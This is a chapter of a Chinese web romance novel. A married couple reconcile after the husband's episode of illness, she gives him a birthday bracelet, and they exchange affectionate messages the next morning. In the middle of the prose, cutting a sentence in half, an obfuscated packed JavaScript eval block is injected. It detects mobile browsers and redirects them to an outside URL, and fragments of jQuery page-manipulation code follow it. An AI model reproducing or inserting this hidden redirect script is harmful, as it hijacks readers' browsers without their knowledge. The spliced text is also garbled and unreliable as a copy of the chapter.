42. 他不再孤单

作品:《脱敏治疗

    “什么...?”


    孟况愕然仰起头,眸中水雾弥漫,一时之间没反应过来,更没听清他那句细若蚊呐的话语,她被他围困在狭窄逼仄的空间里,周遭的空气稀薄,好似都被眼前的人夺走了。


    周且琛一向沉稳自持,情绪内收,极少失控,可现在他却红着眼,冲动使然之下,对她做出了这种逾矩行为。


    发了病,总是容易上头,被各种情绪支配。


    其实,进门的一瞬间,他以为自己回到了曾经,内心孤独寂寞,无人陪伴。


    那时候的他,是羡慕孟况的,她那样明艳动人,大家都很喜欢,而他也知道,只要她勾勾手指,就会有许多男生扑上去。


    但他同时也清楚,孟况这人没心没肺,天性爱玩,与她交往的人都不会长久。


    沉默无声的预言,果然成真了。


    高考之后,原本同路的人也会走到分岔口挥手告别,而他也出国念大学了,也与她断了联系。


    还是程觉骁打游戏时无意提起她在大学交往了男朋友这件事,这种事情于他而言,毫无意义和兴趣,只是在脑海里过了一遍。


    这一交往,没想到就是四年。也是在这个时候,他知道了自己与她有婚约的事实。


    反正,她总归要跟那个男的分手。


    结果压根不需要他出手,那个男的就暴露了狰狞面目。


    所以,在今晚见到她时,他忽然想起了那些过往细节,内心有什么东西在摇摇欲坠,慢慢崩裂融化,这是这么多年来,从来没有过的情况。


    仅一瞬间,周且琛双目清朗,理智逐渐回拢,偏激情绪被分解,收回阴暗角落。


    他松开她,浑身泄力,后退一步,面带内疚:“抱歉...弄疼你了。”


    孟况发梢凝聚水珠,滴在她脖颈处,轻微的凉意让她也收回了神绪,察觉到了他的不对劲。


    “没事吧?”


    见他乏力,孟况及时搀扶住他,领他去了沙发旁坐下,又给他倒了一杯热水,把药片递送到他眼前。


    周且琛一口气把药都吞咽下去,缓和了许久。


    他睁开眼,有些虚脱地望着她。


    “吓到你了吧。”


    提起这个,孟况脸都烧红了。


    那个吻太过霸道强势,令她避之不及。


    但她并没有反感和恐惧,更多是意外和惊诧。


    “...我们是夫妻。”她学着他,以另外一种方式回答。


    是啊。


    他们是夫妻,持证上岗都没问题,更何况只是一个亲吻?


    周且琛弯唇,笑了笑,视线又抬到她未干的乌发上,他起身去柜子里拿了一只吹风机。


    “过来。”


    孟况很听话地过去,盘腿坐在团垫上,周且琛将干发帽摘下,拨弄了几下她的头发,暖风呼呼,吹拂她每根发丝。


    孟况心里暖融融的,想起上次在荷田村,他第一次给她吹头发,她当时心里还觉得特别别扭,但她说不出来是哪里怪异。


    如今想来,她那个时候就已经对周且琛心动而不自知吧。


    那个吻...


    说实话,她还挺喜欢的。


    孟况有些惬意,她伸了伸懒腰,想跟周且琛提建议。


    “我们是夫妻...这种互动可以多来点也没关系...”


    “嗯?”


    她的声音被压低,加上吹风机的鼓动噪音,更是完全削弱,几乎听不清她在说什么,周且琛一边为她吹头发,一边低头。


    “哎呀...没听清就算了。”孟况撇撇嘴,她自小高傲骄纵惯了,众星捧月长大,让她主动说这种话,很难为情的好不好?


    吹完头发,周且琛回到房间,刚要洗澡才发现浴室里多了一些女孩子的护肤品,那些瓶瓶罐罐夹杂在他的洗漱用品中间。


    他愣怔了一瞬,心中升跃几分莫名的情绪。


    直到周且琛的目光挪到另一处,一只方块状的绒布盒子摆在桌头柜上,孟况瞄准时机进来。


    “铛铛——”她张开双臂,在空中挥舞,握紧拳头当做麦克风放在唇边讲话,“这段时间周同学有好好听话吃饭,按时用药,恭喜我们周同学解锁新一轮奖励!”


    她古灵精怪,动作稚气。


    周且琛无声地笑了下,“是什么奖励?”


    孟况眼神瞟了又瞟,示意他,“打开看看呀。”


    他走过,蹲下,捧着那只盒子,孟况眨巴着眼睛,满眼期许,她知道盒子里的东西,但也作为备礼人,也还是会跟着紧张。


    周且琛拉开,里面躺着的竟然是一条沉香手串。


    他十分意外。


    “喜欢不?”孟况期待他的正向反馈。


    “你去纽约,是为了它?”


    周且琛的反应很快,一下就猜出来了。


    “对呀!一个亿哦!”


    孟况点头,大方承认,伸出一根手指,那双眼眸在暖光灯下闪烁着光泽,神采奕奕,叫他恍了神。


    “你快说,喜不喜欢啊?”


    想要的赞美没能如期听到,孟况急得伸手抓他去晃他的手臂。


    “嗯,喜欢。”


    “周且琛,生日快乐呀。”孟况盯准床头的钟表,刚好到了零点,她笑吟吟地,送上了最为诚挚的祝福。


    “希望你天天开心,所愿皆所得。”


    她摇头晃脑,话音柔软而真诚,天真又烂漫,似乎这些一旦从她口中说出来,就一定会成真。


    周且琛忽而想起了,今晚在餐桌上,面对外祖父的问话和怪责,他一言未发,而她丝毫不介意地却将话头转向自己,把一切化险为夷。


    他想起她紧紧贴着自己,精致明媚的容颜笑得张扬放肆。


    他盯着他,目光专注,突然,俯身抱住她。


    孟况说话的声音戛然而止,鼻尖充斥着他身上残留的淡淡雪松味,如此让人安心且沉迷。


    “孟况。”他轻轻柔柔地叫她的名字,简单的两个字里面却好像饱含了一切未能表达出来的深意。


    他说:“谢谢你。”


    谢谢你愿意与我结婚。


    谢谢你愿意与我面对。


    谢谢你一直...维护我。


    这些话,他都偷藏在了心底,没能说出口。


    周且琛洗漱完出来的时候,孟况躺在他的床上沉沉地睡去了,旁边还放着正在播放短视频的手机。


    他放轻脚步,关闭她的手机,重新充上电。


    孟况的睡姿依旧凌乱,睡裙都被卷了上去,不经意瞥见她露出的里面粉嫩的内裤。


    周且琛移开视线,将一条薄毯盖在了她身上,又将空调调高了一些温度。


    他坐在地上,拿着那条沉香手串仔细观摩一番,这条手串好似凝聚了什么,分量格外的重和沉。


    并非因为它价值一个亿。


    周且


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076482|193213||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    琛往后一仰,深深地看着她熟睡的容颜。


    而是因为有人赋予了非凡的意义。


    他不再孤单。


    -


    孟况这一觉睡得很舒服,好像回到了过年在周家住的那两天,睡得太死太沉了,根本起不来。


    直到有人给她打了好几通电话,孟况烦得不行,循着声响,摸到了磁吸充电中的手机。


    她滑动接听。


    “况姐,季度展会的主办方邀请你一同前往现场布置。”


    “名单上公布了!”


    这个消息直冲天灵盖,惊醒了孟况。


    “真的吗?”她坐起身来,掩不住欣喜之色,“具体时间是什么时候。”


    “就在明天,定的太仓促了。”


    对方忍不住抱怨一声。


    每一季度的展会都会筛选并邀请各方的代表人参与其中,孟况作为代表,每一年都在名单内,只是今年规则发生变化后,听说不再邀请设计总监回栏,也不知道为什么,风向又变了。


    “没关系。”


    孟况早已顾不得再多,“有机会就行。”


    她再交代几句,就挂掉了电话,心情激动地在床上蹦迪,然而发现有哪里不太一样。


    这个床没那么软弹。


    孟况猛然停下,房间里的布局摆设色调与她的完全截然相反。


    这是周且琛的房间。


    她重新打开手机,里面刚好传来几条他的消息。


    Z:【醒了吗?】


    Z:【粥还热在台上,记得喝完。】


    Z:【图片】


    孟况打开一看,是昨晚她送给他的沉香手串,居然已经戴上了。


    他站在办公室落地窗前,找了一个适宜的角度,拍摄下来。


    阳光下,那条色泽油亮的沉香手串挂在他手腕,显得冷贵矜重,禁欲深沉,还有那条黑色的绳子,他没摘下来。


    这两样东西被他戴在手腕上,孟况一颗心都鼓鼓囊囊的,被什么填满了似的。


    Z:【如何?】


    孟况笑了笑,回复他。


    【哪里来的古风小生?】


    谁知道,他竟然很快就回了一句:【别欺负古人,好吗?周太太。】


    她真没想到,周且琛的网速还能这么快。


    思索了一番,评价最终还是绕到自己身上。


    【真不愧是我,眼光很独到!】


    Z:【我也这么觉得。】


    孟况被逗乐了。


    见时间不早了,她交代了一下自己的行程,记得上次在荷田村就答应过他,自己做什么都得给他报备。


    【对了,接下来我得出差一趟,赶上了季度展会。】


    这相当于,于清清也会如约出现。


    对面停歇两分钟,孟况怕他不高兴,或者引起担忧,她还想补充一些什么话,他的消息先一步到来。


    Z:【让付秘陪你一块去吧。】


    付秘书是一位年近四十的高知女人,家庭美满,儿子都七岁了。


    周且琛花了两分钟,给付秘书打完电话,重新给她安排工作,给孟况发完消息,不一会儿传来她的回信。


    KK:【好嘟,都听周同学哒~】


    看到这个回答,周且琛的薄唇挑着清浅的弧度,从屏幕里扣出那三个字:周同学。


    他不禁想,如果在高中时就与她相熟,会是怎么样的一番光景?